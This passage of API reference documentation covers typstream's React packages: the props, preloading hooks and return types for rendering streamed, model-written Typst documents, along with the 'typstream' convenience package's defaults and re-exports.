| `islands?`       | `Readonly<Record<string, IslandComponent<any>>> \| undefined`              | Interactive components by island name (PLAN §8.4), e.g. `@typstream/mindmap/react`'s `{ mindmap: MindMapIsland }`: a marker becomes an island when a plugin declares its name and a component is given for it. Providers' and the component's merge, the inner one winning by name.                                                                                                                                                                   |

### `TypstreamDefaults`

The settings a provider holds, and that `TypstreamProps` extends. Everything except `engine`, `resolveImage`, `islands`
and plugins' functions is serializable, so it can be stored per organization or per user.

### TypstreamDefaults

Settings that make sense for every document of an app. Everything except
`engine`, `resolveImage`, `islands` and plugins' functions is serializable, so it can
be stored per organization or per user.

| Prop             | Type                                                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| ---------------- | -------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `engine?`        | `Engine \| undefined`                                                      | The engine every `<Typstream>` below compiles with, unless it is given its own. Default: one engine worker for the page, shared by all instances.                                                                                                                                                                                                                                                                                                     |
| `mathFont?`      | `string \| URL \| undefined`                                               | URL of the math font for MathML (HTML target), registered as a web font when a document first renders. The engine's copy is in `@typstream/engine-wasm/fonts`; the `typstream` package sets it for you.                                                                                                                                                                                                                                               |
| `islands?`       | `Readonly<Record<string, IslandComponent<any>>> \| undefined`              | Interactive components by island name (PLAN §8.4), e.g. `@typstream/mindmap/react`'s `{ mindmap: MindMapIsland }`: a marker becomes an island when a plugin declares its name and a component is given for it. Providers' and the component's merge, the inner one winning by name.                                                                                                                                                                   |
| `target?`        | `CompileTarget \| undefined`                                               | Default `html`.                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `layout?`        | `"fit-width" \| "fixed" \| "reflow" \| undefined`                          | Paged target. `fixed` (default): the document's pages at their own size, scaled down to fit the element. `fit-width`: the same pages scaled up or down to the element's width; both show the pages the PDF has. `reflow`: the document laid out again on pages as wide as the element, so lines and pages break elsewhere than in the PDF (for narrow panels).                                                                                        |
| `pageHeight?`    | `"a4" \| "auto" \| undefined`                                              | Paged `reflow` layout: `a4` proportions (default) or one page as tall as the content (`auto`).                                                                                                                                                                                                                                                                                                                                                        |
| `preamble?`      | `string \| undefined`                                                      | Typst evaluated before the document, after the plugins' and the template's.                                                                                                                                                                                                                                                                                                                                                                           |
| `template?`      | `string \| undefined`                                                      | Name of a template from the plugins' `templates` (the last plugin's, if two have one by that name): its preamble and default inputs apply.                                                                                                                                                                                                                                                                                                            |
| `inputs?`        | `Record<string, string> \| undefined`                                      | `sys.inputs`, over the template's.                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `files?`         | `FileDelta \| undefined`                                                   | Files the document reads (images, data), relative to its root.                                                                                                                                                                                                                                                                                                                                                                                        |
| `resolveImage?`  | `ImageResolver \| undefined`                                               | Gives the bytes of images the document names but `files` doesn't have, such as URLs a model wrote (`fetchImages({ hosts })` from `@typstream/engine/images` downloads those). Without it nothing is fetched, and such images show as placeholders. The latest one is called, so it may change between updates; adding or removing it reopens the document.                                                                                            |
| `heal?`          | `HealOptions \| undefined`                                                 | Healing options; plugins' heal handlers and lint settings are added to them.                                                                                                                                                                                                                                                                                                                                                                          |
| `schedule?`      | `Partial<ScheduleOptions> \| undefined`                                    | Overrides the engine's compile schedule for this document.                                                                                                                                                                                                                                                                                                                                                                                            |
| `plugins?`       | `readonly TypstreamPlugin[] \| undefined`                                  | Plugins (PLAN §8.0): their engine files, packages, preambles and fixer modules, heal handlers and lint settings, templates, sanitizer allowances and stylesheets. A key given twice is loaded once, as its last definition; plugins load after their dependencies, which must be among them. Fonts load only from the engine's own plugins (`createEngine`); the families font catalogues load (`engine.fontCatalogues`) show in the HTML target too. |
| `stylesheets?`   | `readonly string[] \| undefined`                                           | More CSS for the HTML target, after the plugins'.                                                                                                                                                                                                                                                                                                                                                                                                     |
| `animated?`      | `boolean \| AnimateOptions \| undefined`                                   | Fade in new words while streaming (HTML target). Default false.                                                                                                                                                                                                                                                                                                                                                                                       |
| `caret?`         | `boolean \| undefined`                                                     | Show a caret after the last text while streaming (HTML target). Default false.                                                                                                                                                                                                                                                                                                                                                                        |
| `fonts?`         | `readonly TypstFont[] \| undefined`                                        | HTML target: Typst's fonts, registered as web fonts so the text is set as on the pages (`registerTypstFonts`). The `typstream` package passes the engine's.                                                                                                                                                                                                                                                                                           |
| `theme?`         | `"auto" \| "dark" \| "light" \| undefined`                                 | HTML target: `auto` (default) follows the page's `color-scheme`.                                                                                                                                                                                                                                                                                                                                                                                      |
| `linkTarget?`    | `string \| null \| undefined`                                              | `target` of external links; `null` keeps them in the same tab. Default `_blank`.                                                                                                                                                                                                                                                                                                                                                                      |
| `textLayer?`     | `boolean \| undefined`                                                     | Paged target: selectable text over the pages. Default true.                                                                                                                                                                                                                                                                                                                                                                                           |
| `renderer?`      | `"canvas" \| "svg" \| undefined`                                           | Paged target: `canvas` (default) paints pages the engine sends as drawings, a millisecond or two per streamed update; `svg` puts every page's SVG in the DOM (12–31 ms per update for a dense page, #14). Pages the engine can't draw are SVG either way.                                                                                                                                                                                             |
| `lazy?`          | `boolean \| undefined`                                                     | Open and compile the document only while the element is near the viewport or the document is streaming. Default true.                                                                                                                                                                                                                                                                                                                                 |
| `onDiagnostics?` | `((diagnostics: Diagnostic[], state: DocumentState) => void) \| undefined` | A compile finished with new diagnostics (in input coordinates).                                                                                                                                                                                                                                                                                                                                                                                       |
| `onRendered?`    | `((event: RenderedEvent) => void) \| undefined`                            | An artifact was handed to the renderer: what its compile cost and took (heal patches, fixers, fallback level) and what drawing it cost. For telemetry (PLAN §8.6); the library sends nothing itself.                                                                                                                                                                                                                                                  |
| `onFallback?`    | `((event: FallbackEvent) => void) \| undefined`                            | A compile's output wasn't the document as it is: the last good render stayed, the tail showed as plain text, or blocks showed as error boxes. The event holds the input and healed source, to collect as a test case.                                                                                                                                                                                                                                 |
| `onWatchdog?`    | `((event: WatchdogEvent) => void) \| undefined`                            | A compile ran past the watchdog's budget or crashed the worker.                                                                                                                                                                                                                                                                                                                                                                                       |

### `TelemetryHooks`

```ts
type TelemetryHooks = Pick<TypstreamOptions, "onRendered" | "onFallback" | "onWatchdog" | "onDiagnostics">;
```

The callbacks for logging and telemetry, on the component and on the provider. The library sends nothing itself;
the app decides what to collect. The event shapes are [`@typstream/core`'s](/docs/reference/core#telemetry-events).

### `useTypstream`

```ts
const useTypstream: () => TypstreamInfo;
```

Reads a `<Typstream>`'s document: status, diagnostics, healed source, open frames. Pass `t.ref` to the component.
React refs don't announce when they're set, so the hook hands out its own callback ref rather than reading yours.

```tsx
const t = useTypstream();
return (
  <>
    <Typstream ref={t.ref} source={text} isStreaming />
    {t.status === "stale" ? <p>Showing the last good render…</p> : null}
  </>
);
```

### `preloadTypstream`

```ts
const preloadTypstream: (options?: PreloadTypstreamOptions) => TypstreamPreload;
```

Gets the engine ready before the first `<Typstream>` mounts, so that document renders at once instead of waiting for
the wasm (about 6 MB) and fonts. Call it when a document is likely soon: the user opens the "Generate" dialog, sends
the prompt, or reaches the step before the page view.

```tsx
import { preloadTypstream } from "@typstream/react";

<button onClick={() => { preloadTypstream({ plugins: [edu] }); generate(); }}>Generate</button>
```

- **`level: "engine"`** (default) starts the page's shared engine, the one every `<Typstream>` without an `engine`
  uses. Then it runs `engine.preload()` with `plugins`, `targets` and `text`: warm-up compiles that load the
  plugins' packages, modules and fonts. It keeps the engine for `holdMs` (`PRELOAD_HOLD_MS`, a minute) and then lets
  it go. A `<Typstream>` that mounts in the meantime keeps it for as long as it needs it. `release()` lets go
  earlier; `holdMs: Infinity` keeps it until then.
- **`level: "fetch"`** only downloads the wasm and base fonts into the browser's caches (`prefetchEngine` from
  [`@typstream/engine/prefetch`](/docs/reference/engine#typstreamengineprefetch)). It starts no worker and holds no
  memory, for a document that may never come.
- **`ready`** resolves once the engine is warm (or the files are cached). It rejects if the engine can't start or a
  download fails. Ignoring it is safe: nothing is reported as unhandled.
- On a server (no `Worker`) it does nothing, so it's safe to call during rendering in Next.js.

An engine you pass as the `engine` prop isn't the shared one: warm that with `engine.preload()` instead.

### `usePreloadTypstream`

```ts
const usePreloadTypstream: (when?: boolean, options?: PreloadTypstreamOptions) => void;
```

`preloadTypstream` for a component. While the component is mounted and `when` is true, it keeps the shared engine
warm for the `<Typstream>`s to come, for the whole time rather than `holdMs`. Afterwards it lets the engine go, a
moment later. Put it in the screen that leads to a document: a chat's composer, or the dialog that starts a
generation (`usePreloadTypstream(open)`). `options` are read when `when` turns true.

```tsx
function GenerateDialog({ open }: { open: boolean }) {
  usePreloadTypstream(open, { plugins: [edu] });
  // …
}
```

### `PreloadTypstreamOptions`

### PreloadTypstreamOptions

Options of preloadTypstream and usePreloadTypstream: what
to warm (the engine's `PreloadOptions`), and how far to go.

| Prop       | Type                                      | Description                                                                                                                                                                                                                                                                                                                   |
| ---------- | ----------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `plugins?` | `readonly TypstreamPlugin[] \| undefined` | Plugins the coming documents use. Their packages, fixer and generator modules and catalogue fonts load now, and the first of each plugin's prompt examples compiles, so what it draws (a generator's diagrams, a package's imports) is warm too.                                                                              |
| `level?`   | `"engine" \| "fetch" \| undefined`        | `engine` (default): start the default engine's worker, compile the wasm, load the fonts and compile warm-up documents with `plugins`, so the first document renders at once. `fetch`: only download the wasm and base fonts into the browser's caches, with no worker and no memory held, for a document that may never come. |
| `holdMs?`  | `number \| undefined`                     | `engine` level: how long, in ms, to keep the engine for documents to come when none mounts, before letting it go (a `<Typstream>` mounted meanwhile keeps it for as long as it needs it). Default PRELOAD_HOLD_MS; `Infinity` keeps it until `release()`.                                                                     |
| `targets?` | `readonly CompileTarget[] \| undefined`   | The targets the coming documents compile to, each compiled once. Default both: `["html", "paged"]`. The plugins' examples compile in the first only.                                                                                                                                                                          |
| `text?`    | `string \| undefined`                     | Typst to compile instead of the built-in sample and the plugins' examples, e.g. a document like the ones the app makes.                                                                                                                                                                                                       |

`plugins`, `targets` and `text` are the engine's [`PreloadOptions`](/docs/reference/engine#preloadoptions).

### `TypstreamPreload`

### TypstreamPreload

A preload under way: preloadTypstream's answer.

| Prop      | Type            | Description                                                                                                                                                                          |
| --------- | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `ready`   | `Promise<void>` | Resolves when the engine is warm (`fetch`: when the files are cached). Rejects if the engine can't start or a download fails; ignoring it is safe, nothing is reported as unhandled. |
| `release` | `() => void`    | Lets go of the engine now rather than after `holdMs`. Later calls do nothing.                                                                                                        |

<Callout type="warn" title="Beta">
`preloadTypstream`, `usePreloadTypstream`, `PreloadTypstreamOptions`, `TypstreamPreload` and `PRELOAD_HOLD_MS` are
beta. See [Preloading the engine](/docs/guides/preloading).
</Callout>

### `TypstreamInfo`

### TypstreamInfo

What useTypstream returns.

| Prop           | Type                                                        | Description                                                                                                                                                                                                                                                                                                                      |
| -------------- | ----------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `ref`          | `(handle: TypstreamHandle \| null) => void`                 | Pass to `<Typstream ref>`. Stable.                                                                                                                                                                                                                                                                                               |
| `handle`       | `TypstreamHandle \| null`                                   | The instance, once mounted.                                                                                                                                                                                                                                                                                                      |
| `state`        | `DocumentState \| null`                                     | The document's whole state; `null` until it opens.                                                                                                                                                                                                                                                                               |
| `status`       | `DocumentStatus`                                            | `idle` until the document opens.                                                                                                                                                                                                                                                                                                 |
| `diagnostics`  | `readonly Diagnostic[]`                                     | Diagnostics of the latest compile, in `source` coordinates.                                                                                                                                                                                                                                                                      |
| `healedSource` | `string`                                                    | The healed source the engine compiles (empty until the document opens).                                                                                                                                                                                                                                                          |
| `openFrames`   | `OpenFrame[]`                                               | Constructs still open at the end of the input, innermost first.                                                                                                                                                                                                                                                                  |
| `document`     | `EngineDocument \| null`                                    | The engine document. For exports, prefer `exportPdf()` and friends: the document's own exports use its inputs, which include a reflow preview's page size.                                                                                                                                                                       |
| `exportPdf`    | `(options?: TypstreamExportOptions) => Promise<Uint8Array>` | Exports the document as PDF, at its own page size (a reflow preview's width left out), with the template's inputs, the `inputs` prop and `options.inputs`. Opens a lazy document that hasn't opened yet. Rejects with the engine's `ExportError`, or an `Error` when no `<Typstream>` is mounted. See TypstreamHandle.exportPdf. |
| `exportDocx`   | `(options?: TypstreamExportOptions) => Promise<Uint8Array>` | Exports the document as an editable DOCX file. See TypstreamHandle.exportDocx.                                                                                                                                                                                                                                                   |
| `exportHtml`   | `(options?: TypstreamHtmlExportOptions) => Promise<string>` | Exports the document as an HTML file that opens on its own, with the component's plugins, `stylesheets` and `theme`; `options` add to or override them. See TypstreamHandle.exportHtml.                                                                                                                                          |
| `exportSource` | `() => string`                                              | The healed source the exports compile. Throws when no `<Typstream>` is mounted.                                                                                                                                                                                                                                                  |

`status` is `"idle"` until the document opens, then one of the engine's
[document statuses](/docs/reference/engine#documentstatus): `idle`, `compiling`, `stale`, `error` or `done`.

### Re-exported types

For convenience the package re-exports types from the packages it builds on:

- From [`@typstream/engine`](/docs/reference/engine): `Engine`, `DocumentState`, `DocumentStatus`, `PreloadOptions`.
- From [`@typstream/dom`](/docs/reference/dom): `StandaloneHtmlOptions`, `TypstreamExportOptions` and
  `TypstreamHtmlExportOptions`, what the exports take.
- From [`@typstream/core`](/docs/reference/core#telemetry-events): `AppliedFix`, `CompiledEvent`, `CompileReport`,
  `DocumentEvent`, `FallbackEvent`, `FallbackLevel`, `RenderedEvent`, `WatchdogEvent`.

## See also

- [Rendering in React](/docs/getting-started/react)
- [Next.js and the AI SDK](/docs/getting-started/nextjs-ai-sdk)
- [Streaming](/docs/concepts/streaming)
- [Render targets](/docs/concepts/render-targets)
- [Telemetry](/docs/guides/telemetry)
- [`@typstream/dom`](/docs/reference/dom), which this package wraps


# typstream

> The convenience package for React apps, with the Typstream component from @typstream/react already set up with html-compat, the math font and the vendored Typst packages.

Source: https://typstream.vercel.app/docs/reference/typstream

`typstream` is the package most React apps install. Its `<Typstream>` is [`@typstream/react`](/docs/reference/react)'s
component with the defaults an app wants already applied: layout that survives the HTML target, a math font for
MathML, and a set of Typst packages documents may import. It also re-exports the rest of `@typstream/react`, the engine
client and the healer, so one import covers a typical app.

## When to use it

Use `typstream` in any React app, including Next.js. Use [`@typstream/react`](/docs/reference/react) instead when you
want to choose every plugin yourself, [`@typstream/dom`](/docs/reference/dom) when you don't use React, and
[`@typstream/node`](/docs/reference/node) to validate or render documents on a server.

## Install

```npm
npm install typstream
```

React 19 is a peer dependency. The engine runs in a Web Worker that loads Typst as WebAssembly. Vite and Next.js (Turbopack or webpack) bundle the
worker, the wasm and the fonts as assets with no configuration. See [Installation](/docs/getting-started/installation)
for the details.

## Example

Pass the model's text so far as `source`, and say whether more is coming with `isStreaming`:

```tsx title="Answer.tsx"
"use client";
import { Typstream } from "typstream";

export function Answer({ text, streaming }: { text: string; streaming: boolean }) {
  return <Typstream source={text} isStreaming={streaming} animated caret />;
}
```

While `isStreaming` is true, every prefix is healed so it compiles, and the last good render stays on screen while a
prefix doesn't. When it turns false, the document is compiled strictly (final mode) and the caret goes away. The
[React guide](/docs/getting-started/react) and the [Next.js + AI SDK guide](/docs/getting-started/nextjs-ai-sdk) build
a full chat around it.

## What it adds to `@typstream/react`

| Default | What it does | Turn it off |
| --- | --- | --- |
| [html-compat](/docs/reference/html-compat) | Adds the `htmlCompat` plugin: its Typst preamble, the sanitizer allowances and its stylesheet, so grids, alignment, boxes and shapes survive the HTML target. | `htmlCompat={false}` |
| The math font | Registers the engine's copy of New Computer Modern Math (from `@typstream/engine-wasm/fonts`) as a web font, so MathML delimiters stretch. | Pass your own `mathFont` URL to use another copy. |
| [Typst packages](/docs/reference/universe) | Adds the `universe` plugin: documents may import CeTZ and fletcher (diagrams), cetz-plot, physica and unify (math), chemformula and alchemist (chemistry), at the vendored versions. The tarballs are served from your app's origin (your bundler emits them as assets) and fetched only when a document imports one. | `packages={false}` |

The two plugins go before any `plugins` you pass, so your own plugins apply after them.

<Callout type="info">
Documents are untrusted code written by a model. The [security guide](/docs/guides/security) covers what they can't
do and the Content-Security-Policy to serve typstream under (no `'unsafe-inline'` or `'unsafe-eval'`, only
`'wasm-unsafe-eval'`).
</Callout>

## API

### `Typstream`

```ts
const Typstream: (props: TypstreamProps) => JSX.Element;
```

Renders a streaming Typst document. It takes every prop of
[`@typstream/react`'s `<Typstream>`](/docs/reference/react#typstream), plus `htmlCompat` and `packages`. Settings it
doesn't receive come from the nearest [`TypstreamProvider`](/docs/reference/react#typstreamprovider), then the
defaults.

```tsx
<Typstream source={text} isStreaming={status === "streaming"} target="paged" layout="fit-width" />
```

### `TypstreamProps`

### TypstreamProps

Props of Typstream.

| Prop              | Type                                                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| ----------------- | -------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `islands?`        | `Readonly<Record<string, IslandComponent<any>>> \| undefined`              | Interactive components by island name (PLAN §8.4), e.g. `@typstream/mindmap/react`'s `{ mindmap: MindMapIsland }`: a marker becomes an island when a plugin declares its name and a component is given for it. Providers' and the component's merge, the inner one winning by name.                                                                                                                                                                                                                                                                                                              |
| `htmlCompat?`     | `boolean \| undefined`                                                     | Add the `@typstream/html-compat` plugin (its preamble, the sanitizer allowances and its stylesheet), so grids, alignment and shapes survive the HTML target. Default true.                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `packages?`       | `boolean \| undefined`                                                     | Add the `@typstream/universe` plugin: documents may import the Typst packages it vendors (CeTZ, fletcher, cetz-plot, physica, unify, chemformula, alchemist), fetched from the app's own origin when a document imports one. Default true.                                                                                                                                                                                                                                                                                                                                                       |
| `source?`         | `string \| undefined`                                                      | The document so far: its whole text, growing while it streams.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `stream?`         | `AsyncIterable<string> \| null \| undefined`                               | Chunks to read instead of `source`. The document starts over when a new stream is given, and is complete when the stream ends. A stream is read once, however many mounts are given it: each shows all of its text, including what arrived before it mounted, so a mount replaced while the stream continues (React StrictMode mounts twice) loses nothing. The stream is closed (`return()`) when a chunk arrives after the last mount reading it was destroyed; a mount given it later shows what was read, as a finished document. To show an answer from the start again, pass a new stream. |
| `isStreaming?`    | `boolean \| undefined`                                                     | More `source` is coming. While false (default) the source is complete and compiles strictly (final mode); going back to true starts the document over.                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| `streamingRange?` | `Range \| null \| undefined`                                               | While `isStreaming`: the part of `source` being written, in `source`'s offsets, such as a model rewriting one question of a finished document (PLAN §5.2). Only it heals as text being typed; the rest is settled and shows as it did. A finished document given a range streams again without starting over, and finishes when `isStreaming` turns false. Keep it block-aligned, as `EngineDocument.setStreamingRange` says. Ignored with `stream`.                                                                                                                                             |
| `target?`         | `CompileTarget \| undefined`                                               | Default `html`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `layout?`         | `"fit-width" \| "fixed" \| "reflow" \| undefined`                          | Paged target. `fixed` (default): the document's pages at their own size, scaled down to fit the element. `fit-width`: the same pages scaled up or down to the element's width; both show the pages the PDF has. `reflow`: the document laid out again on pages as wide as the element, so lines and pages break elsewhere than in the PDF (for narrow panels).                                                                                                                                                                                                                                   |
| `pageHeight?`     | `"a4" \| "auto" \| undefined`                                              | Paged `reflow` layout: `a4` proportions (default) or one page as tall as the content (`auto`).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `preamble?`       | `string \| undefined`                                                      | Typst evaluated before the document, after the plugins' and the template's.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `template?`       | `string \| undefined`                                                      | Name of a template from the plugins' `templates` (the last plugin's, if two have one by that name): its preamble and default inputs apply.                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `inputs?`         | `Record<string, string> \| undefined`                                      | `sys.inputs`, over the template's.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `files?`          | `FileDelta \| undefined`                                                   | Files the document reads (images, data), relative to its root.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `resolveImage?`   | `ImageResolver \| undefined`                                               | Gives the bytes of images the document names but `files` doesn't have, such as URLs a model wrote (`fetchImages({ hosts })` from `@typstream/engine/images` downloads those). Without it nothing is fetched, and such images show as placeholders. The latest one is called, so it may change between updates; adding or removing it reopens the document.                                                                                                                                                                                                                                       |
| `heal?`           | `HealOptions \| undefined`                                                 | Healing options; plugins' heal handlers and lint settings are added to them.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| `schedule?`       | `Partial<ScheduleOptions> \| undefined`                                    | Overrides the engine's compile schedule for this document.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `plugins?`        | `readonly TypstreamPlugin[] \| undefined`                                  | Plugins (PLAN §8.0): their engine files, packages, preambles and fixer modules, heal handlers and lint settings, templates, sanitizer allowances and stylesheets. A key given twice is loaded once, as its last definition; plugins load after their dependencies, which must be among them. Fonts load only from the engine's own plugins (`createEngine`); the families font catalogues load (`engine.fontCatalogues`) show in the HTML target too.                                                                                                                                            |
| `stylesheets?`    | `readonly string[] \| undefined`                                           | More CSS for the HTML target, after the plugins'.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| `animated?`       | `boolean \| AnimateOptions \| undefined`                                   | Fade in new words while streaming (HTML target). Default false.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `caret?`          | `boolean \| undefined`                                                     | Show a caret after the last text while streaming (HTML target). Default false.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `fonts?`          | `readonly TypstFont[] \| undefined`                                        | HTML target: Typst's fonts, registered as web fonts so the text is set as on the pages (`registerTypstFonts`). The `typstream` package passes the engine's.                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `theme?`          | `"auto" \| "dark" \| "light" \| undefined`                                 | HTML target: `auto` (default) follows the page's `color-scheme`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `linkTarget?`     | `string \| null \| undefined`                                              | `target` of external links; `null` keeps them in the same tab. Default `_blank`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `textLayer?`      | `boolean \| undefined`                                                     | Paged target: selectable text over the pages. Default true.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `renderer?`       | `"canvas" \| "svg" \| undefined`                                           | Paged target: `canvas` (default) paints pages the engine sends as drawings, a millisecond or two per streamed update; `svg` puts every page's SVG in the DOM (12–31 ms per update for a dense page, #14). Pages the engine can't draw are SVG either way.                                                                                                                                                                                                                                                                                                                                        |
| `lazy?`           | `boolean \| undefined`                                                     | Open and compile the document only while the element is near the viewport or the document is streaming. Default true.                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| `onStatusChange?` | `((status: DocumentStatus, state: DocumentState) => void) \| undefined`    | The document's status changed.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `onDiagnostics?`  | `((diagnostics: Diagnostic[], state: DocumentState) => void) \| undefined` | A compile finished with new diagnostics (in input coordinates).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `onRendered?`     | `((event: RenderedEvent) => void) \| undefined`                            | An artifact was handed to the renderer: what its compile cost and took (heal patches, fixers, fallback level) and what drawing it cost. For telemetry (PLAN §8.6); the library sends nothing itself.                                                                                                                                                                                                                                                                                                                                                                                             |
| `onFallback?`     | `((event: FallbackEvent) => void) \| undefined`                            | A compile's output wasn't the document as it is: the last good render stayed, the tail showed as plain text, or blocks showed as error boxes. The event holds the input and healed source, to collect as a test case.                                                                                                                                                                                                                                                                                                                                                                            |
| `onWatchdog?`     | `((event: WatchdogEvent) => void) \| undefined`                            | A compile ran past the watchdog's budget or crashed the worker.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `engine?`         | `Engine \| undefined`                                                      | The engine every `<Typstream>` below compiles with, unless it is given its own. Default: one engine worker for the page, shared by all instances.                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| `mathFont?`       | `string \| URL \| undefined`                                               | URL of the math font for MathML (HTML target), registered as a web font when a document first renders. The engine's copy is in `@typstream/engine-wasm/fonts`; the `typstream` package sets it for you.                                                                                                                                                                                                                                                                                                                                                                                          |
| `ref?`            | `React.Ref<TypstreamHandle> \| undefined`                                  | Receives the instance's TypstreamHandle, e.g. `useTypstream().ref`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `className?`      | `string \| undefined`                                                      | Of the element the document renders into.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `style?`          | `React.CSSProperties \| undefined`                                         | Of the element the document renders into.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `id?`             | `string \| undefined`                                                      | Of the element the document renders into.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |

### `preloadTypstream` and `usePreloadTypstream`

```ts
const preloadTypstream: (options?: PreloadTypstreamOptions) => TypstreamPreload;
const usePreloadTypstream: (when?: boolean, options?: PreloadTypstreamOptions) => void;
```

[`@typstream/react`'s](/docs/reference/react#preloadtypstream), warming the plugins this package's `<Typstream>`
adds: html-compat and universe, unless `htmlCompat` or `packages` is false, before the `plugins` given. Universe has
no examples, so preloading downloads no Typst package; a package downloads when a document first imports it.

```tsx
import { preloadTypstream } from "typstream";

<button onClick={() => { preloadTypstream(); generate(); }}>Generate</button>
```

### `PreloadTypstreamOptions`

### PreloadTypstreamOptions

Options of preloadTypstream and usePreloadTypstream:
`@typstream/react`'s, with this package's plugins switched as on
Typstream.

| Prop          | Type                                      | Description                                                                                                                                                                                                                                                                                                                   |
| ------------- | ----------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `level?`      | `"engine" \| "fetch" \| undefined`        | `engine` (default): start the default engine's worker, compile the wasm, load the fonts and compile warm-up documents with `plugins`, so the first document renders at once. `fetch`: only download the wasm and base fonts into the browser's caches, with no worker and no memory held, for a document that may never come. |
| `htmlCompat?` | `boolean \| undefined`                    | Warm the `@typstream/html-compat` plugin, as `<Typstream>` adds it. Default true.                                                                                                                                                                                                                                             |
| `packages?`   | `boolean \| undefined`                    | Warm the `@typstream/universe` plugin, as `<Typstream>` adds it. Default true. It has no examples, so no package is downloaded until a document imports one.                                                                                                                                                                  |
| `plugins?`    | `readonly TypstreamPlugin[] \| undefined` | Plugins the coming documents use. Their packages, fixer and generator modules and catalogue fonts load now, and the first of each plugin's prompt examples compiles, so what it draws (a generator's diagrams, a package's imports) is warm too.                                                                              |
| `targets?`    | `readonly CompileTarget[] \| undefined`   | The targets the coming documents compile to, each compiled once. Default both: `["html", "paged"]`. The plugins' examples compile in the first only.                                                                                                                                                                          |
| `text?`       | `string \| undefined`                     | Typst to compile instead of the built-in sample and the plugins' examples, e.g. a document like the ones the app makes.                                                                                                                                                                                                       |
| `holdMs?`     | `number \| undefined`                     | `engine` level: how long, in ms, to keep the engine for documents to come when none mounts, before letting it go (a `<Typstream>` mounted meanwhile keeps it for as long as it needs it). Default PRELOAD_HOLD_MS; `Infinity` keeps it until `release()`.                                                                     |

### Re-exports

Everything else in `typstream` comes from another package and is documented there:

| Export | From | Reference |
| --- | --- | --- |
| `TypstreamProvider`, `useTypstream` | `@typstream/react` | [React](/docs/reference/react) |
| Types: `TypstreamProviderProps`, `TypstreamDefaults`, `TypstreamHandle`, `TypstreamInfo`, `TelemetryHooks` | `@typstream/react` | [React](/docs/reference/react) |
| `PRELOAD_HOLD_MS`, type `TypstreamPreload` | `@typstream/react` | [React](/docs/reference/react#preloadtypstream) |
| Types: `Engine`, `DocumentState`, `DocumentStatus`, `PreloadOptions` | `@typstream/engine` (through `@typstream/react`) | [Engine](/docs/reference/engine) |
| `createEngine`, `engineWorker`, types `EngineOptions`, `ImageResolver` | `@typstream/engine` | [Engine](/docs/reference/engine) |
| `fetchImages`, type `FetchImagesOptions` | `@typstream/engine/images` | [Engine](/docs/reference/engine#typstreamengineimages), [Images](/docs/guides/images) |
| `createHealer`, `heal`, types `Healer`, `HealOptions`, `HealResult` | `@typstream/heal` | [Heal](/docs/reference/heal) |
| `htmlCompat`, `htmlCompatCss` | `@typstream/html-compat` | [html-compat](/docs/reference/html-compat) |
| `universe`, `UNIVERSE_PACKAGES`, type `UniversePackage` | `@typstream/universe` | [Universe](/docs/reference/universe) |
| Types: `AppliedFix`, `CompiledEvent`, `CompileReport`, `DocumentEvent`, `FallbackEvent`, `FallbackLevel`, `RenderedEvent`, `WatchdogEvent` | `@typstream/core` (through `@typstream/react`) | [Core](/docs/reference/core#telemetry-events) |

`createEngine` and `engineWorker` are there for apps that share one engine across several roots or tune it (pass the
result as the `engine` prop). `heal` and `createHealer` are there for apps that heal text themselves, for example to
show the healed source next to the preview.

## See also

- [Rendering in React](/docs/getting-started/react)
- [Next.js and the AI SDK](/docs/getting-started/nextjs-ai-sdk)
- [How it works](/docs/concepts/how-it-works)
- [Using Typst packages](/docs/guides/typst-packages)
- [Theming](/docs/guides/theming)


# @typstream/universe

> The Typst Universe packages typstream allows by default (CeTZ, fletcher, cetz-plot, physica, unify, chemformula, alchemist), vendored with integrity hashes as a plugin.

Source: https://typstream.vercel.app/docs/reference/universe

